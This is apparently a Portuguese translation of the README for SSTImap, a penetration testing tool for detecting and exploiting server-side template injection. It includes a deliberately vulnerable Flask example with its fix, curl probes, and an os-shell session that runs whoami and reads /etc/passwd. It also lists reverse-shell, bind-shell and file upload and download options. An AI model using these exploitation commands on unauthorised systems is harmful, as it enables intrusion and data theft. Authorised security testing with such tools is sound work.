SSTImap

Este projeto é baseado no Tplmap.

O SSTImap é um software de teste de penetração que pode verificar sites quanto a vulnerabilidades de Injeção de Código e Injeção de Template no Lado do Servidor (SSTI) e explorá-las, dando acesso ao próprio sistema operacional.

Esta ferramenta foi desenvolvida para ser usada como uma ferramenta interativa de teste de penetração para detecção e exploração de SSTI, o que permite uma exploração mais avançada. Mais payloads para o SSTImap podem ser encontrados aqui.

Os payloads e as técnicas vieram de:

• James Kettle's Server-Side Template Injection: RCE For The Modern Web App
• Outras pesquisas públicas [1] [2] [8]
• Contribuições para o Tplmap [3] [4]
• Minha própria pesquisa [9]

Esta ferramenta é capaz de explorar alguns escapes de contexto de código e cenários de injeção cega. Ela também suporta injeções de código do tipo eval() em Java, JavaScript, PHP, Python, Ruby e mecanismos de template genéricos sem sandbox.

Principais diferenças em relação ao Tplmap

Embora este software seja baseado no código do Tplmap, a compatibilidade retroativa não é fornecida.

• Adicionadas duas novas técnicas para detecção e exploração de SSTI
• Modo interativo (-i) permitindo exploração e detecção mais fáceis
• Payloads de avaliação simples como marcadores de resposta em caso de reflexão de payload
• Adicionados novos payloads para templates genéricos, para testar todos os contextos use --generic
• Detecção genérica de injeção de template por avaliação usando o módulo Eval_generic
• Execução de shell baseado em eval() da linguagem base (-x) ou de comando único (-X)
• Upload de arquivo cego agora suporta confirmação MD5 e verificação de existência de arquivo
• Adicionados novos payloads para mais templates e atualizados muitos payloads existentes
• Estrutura de plugins modular que permite a instalação de plugins adicionais
• Suporte para diferentes tipos de dados POST
• Adicionados rastreamento (crawling) e detecção de formulários
• Versões curtas adicionadas a muitos argumentos
• Alguns argumentos antigos de linha de comando foram alterados, verifique -h para ajuda
• Código alterado para usar recursos mais recentes do Python
• Extensão do Burp Suite temporariamente removida, pois o Jython não suporta Python3

Injeção de Template no Lado do Servidor

Este é um exemplo de um site simples escrito em Python usando o framework Flask e o mecanismo de template Jinja2. Ele integra a variável fornecida pelo usuário name de forma insegura, pois ela é concatenada à string do template antes da renderização.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Não apenas essa forma de usar templates cria uma vulnerabilidade XSS, mas também permite que o atacante injete código de template, que será executado no servidor, levando a SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

A entrada fornecida pelo usuário deve ser introduzida de forma segura por meio do contexto de renderização:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Modo predeterminado

O SSTImap no modo predeterminado é muito semelhante ao Tplmap. Ele é capaz de detectar e explorar vulnerabilidades SSTI em vários templates diferentes.

Após a exploração, o SSTImap pode fornecer acesso à avaliação de código, execução de comandos do sistema operacional e manipulação do sistema de arquivos.

Para verificar a URL, você pode usar o argumento -u:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Use a opção --os-shell para iniciar um pseudo-terminal no alvo.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Para obter uma lista completa de opções, use o argumento --help.

Modo interativo

No modo interativo, comandos são usados para interagir com o SSTImap. Para entrar no modo interativo, você pode usar o argumento -i. Todos os outros argumentos, exceto os relacionados a payloads de exploração, serão usados como valores iniciais para as configurações.

Alguns comandos são usados para alterar as configurações entre execuções de teste. Para executar um teste, a URL do alvo deve ser fornecida por meio do argumento inicial -u ou do comando url. Depois disso, você pode usar o comando run para verificar a URL quanto a SSTI.

Se SSTI for encontrada, comandos podem ser usados para iniciar a exploração. Você pode obter as mesmas capacidades de exploração do modo predeterminado, mas pode usar Ctrl+C para abortá-las sem interromper o programa.

A propósito, os resultados do teste são válidos até que a URL do alvo seja alterada, então você pode alternar facilmente entre métodos de exploração sem executar o teste de detecção toda vez.

Para obter uma lista completa de comandos interativos, use o comando help no modo interativo.

Mecanismos de template suportados

O SSTImap suporta vários mecanismos de template e injeções do tipo eval().

Novos payloads são bem-vindos em PRs. Confira as dicas para acelerar o desenvolvimento.

Técnicas: (R)enderizada, (E)rro, (B)lind baseada em erro booleano e (T)ime-based blind; Letra minúscula marca técnica parcialmente suportada

Mais plugins e payloads podem ser encontrados no repositório SSTImap Extra Plugins.

Plugin do Burp Suite

Atualmente, o Burp Suite só funciona com Jython como forma de executar python2. A funcionalidade Python3 não é fornecida.

Planos futuros

Se você planeja contribuir com algo grande desta lista, informe-me para evitar trabalhar na mesma coisa que eu ou outros contribuidores.

• Adicionar mais payloads para diferentes mecanismos
• Tornar os plugins menos dependentes dos plugins base
• Analisar requisição HTTP bruta de arquivo
• Funcionalidade de despejo de variáveis
• Extração de valores cega/canal lateral
• Melhor documentação (ou pelo menos alguma documentação)
• Argumentos curtos como comandos interativos?
• Modos de API JSONL/texto simples para integrações de script?
• Melhor integração para scripts Python
• Suporte a tipo de dados POST multipart
• Módulos para requisições mais personalizáveis (segunda ordem, reset, não-HTTP)
• Scripts de processamento de payload
• Melhor funcionalidade de configuração
• Salvar vulnerabilidades encontradas
• Relatórios em HTML ou outro formato
• Avaliação de linguagem multilinha?
• Evitar dependência de plataforma nos payloads
• Testar múltiplos shells em cenários RCE baseados em exec
• Atualizar payloads NodeJS, pois process.mainModule pode ser indefinido
• Automação de spider/crawler (por fantesykikachu)
• Importação automática de linguagens e mecanismos
• Suporte a mais tipos de dados POST
• Tornar a funcionalidade de avaliação de template e linguagem base mais uniforme
• Argumento para remover códigos de escape?